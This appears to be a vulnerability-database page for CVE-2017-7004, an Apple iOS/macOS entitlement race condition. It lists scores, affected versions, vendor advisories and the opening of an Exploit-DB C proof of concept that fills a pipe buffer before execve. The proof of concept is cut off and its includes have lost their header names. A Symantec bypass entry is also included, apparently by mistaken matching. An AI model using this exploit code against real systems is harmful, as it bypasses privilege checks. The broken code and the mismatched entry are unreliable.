CVE-2017-7004
published 2018-04-03CVE-2017-7004: An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. macOS before 10.12.5 is affected. The issue involves the "Security"…
PriorityP334high7CVSS 3.0
AVLACHPRNUIRSUCHIHAH
EXPLOIT
EPSS
2.92%
85.3th percentile
An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. macOS before 10.12.5 is affected. The issue involves the "Security" component. A race condition allows attackers to bypass intended entitlement restrictions for sending XPC messages via a crafted app.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | ios | — | — |
| apple | iphone_os | < 10.3.2 | 10.3.2 |
| apple | mac_os_x | < 10.12.5 | 10.12.5 |
| apple | macos_sierra_10.12.5_security_update_2017-002_el_capitan_and_security_update_201 | — | — |
CVSS provenance
nvdv3.07.0HIGHCVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.05.1MEDIUMAV:N/AC:H/Au:N/C:P/I:P/A:P
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Apple
CVE-2017-7004: macOS Sierra 10.12.5, Security Update 2017-002 El Capitan, and Security Update 2017-002 Yosemite
vendor_apple·2017-05-15·CVSS 7.0
CVE-2017-7004 [HIGH] CVE-2017-7004: macOS Sierra 10.12.5, Security Update 2017-002 El Capitan, and Security Update 2017-002 Yosemite
Apple Security Update: About the security content of macOS Sierra 10.12.5, Security Update 2017-002 El Capitan, and Security Update 2017-002 Yosemite
Product: macOS Sierra 10.12.5, Security Update 2017-002 El Capitan, and Security Update 2017-002 Yosemite
CVE: CVE-2017-7004
Component: Security
Impact: A local application may be able to send privileged XPC messages without entitlements
Description: A race condition was addressed with improved consistency checks.
Apple
CVE-2017-7004: iOS 10.3.2
vendor_apple·2017-05-15·CVSS 7.0
CVE-2017-7004 [HIGH] CVE-2017-7004: iOS 10.3.2
Apple Security Update: About the security content of iOS 10.3.2
Product: iOS
Version: 10.3.2
CVE: CVE-2017-7004
Component: Security
Impact: A local application may be able to send privileged XPC messages without entitlements
Description: A race condition was addressed with improved consistency checks.
GHSA
GHSA-pg45-3x6f-6r9m: An issue was discovered in certain Apple products
ghsa_unreviewed·2022-05-14
CVE-2017-7004 [HIGH] CWE-362 GHSA-pg45-3x6f-6r9m: An issue was discovered in certain Apple products
An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. macOS before 10.12.5 is affected. The issue involves the "Security" component. A race condition allows attackers to bypass intended entitlement restrictions for sending XPC messages via a crafted app.
No detection rules found.
Exploit-DB
Symantec Endpoint Protection 12.1 - Tamper-Protection Bypass
exploitdb·2017-11-10·CVSS 7.1
CVE-2017-6331 [HIGH] Symantec Endpoint Protection 12.1 - Tamper-Protection Bypass
Symantec Endpoint Protection 12.1 - Tamper-Protection Bypass
---
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-6331-SYMANTEC-ENDPOINT-PROTECTION-TAMPER-PROTECTION-BYPASS.txt
[+] ISR: ApparitionSec
Vendor:
www.symantec.com
Product:
Symantec Endpoint Protection
v12.1.6 (12.1 RU6 MP5)
Symantec 12.1.7004.6500
Vulnerability Type:
Tamper-Protection Bypass
Denial Of Service / Message Spoof
CVE Reference:
CVE-2017-6331
SSG16-041
Security Issue:
Symantec Endpoint Protection (SEP), does not validate where WinAPI messages comes from (lack of UIPI).
Therefore, malware can easily spoof messages to the UI or send WM_SYSCOMMAND to close
the SEP UI denying end user ability to scan / run the EP AntiVi
Exploit-DB
Apple macOS 10.12.3 / iOS < 10.3.2 - Userspace Entitlement Checking Race Condition
exploitdb·2017-06-09
CVE-2017-7004 Apple macOS 10.12.3 / iOS < 10.3.2 - Userspace Entitlement Checking Race Condition
Apple macOS 10.12.3 / iOS
#include
#include
#include
#include
void exec_blocking(char* target, char** argv, char** envp) {
// create the pipe
int pipefds[2];
pipe(pipefds);
int read_end = pipefds[0];
int write_end = pipefds[1];
// make the pipe nonblocking so we can fill it
int flags = fcntl(write_end, F_GETFL);
flags |= O_NONBLOCK;
fcntl(write_end, F_SETFL, flags);
// fill up the write end
int ret, count = 0;
do {
char ch = ' ';
ret = write(write_end, &ch, 1);
count++;
} while (!(ret == -1 && errno == EAGAIN));
printf("wrote %d bytes to pipe buffer\n", count-1);
// make it blocking again
flags = fcntl(write_end, F_GETFL);
flags &= ~O_NONBLOCK;
fcntl(write_end, F_SETFL, flags);
// set the pipe write end to stdout/stderr
dup2(write_end, 1);
dup2(write_end, 2);
execve(target, argv,
No writeups or analysis indexed.
2018-04-03
Published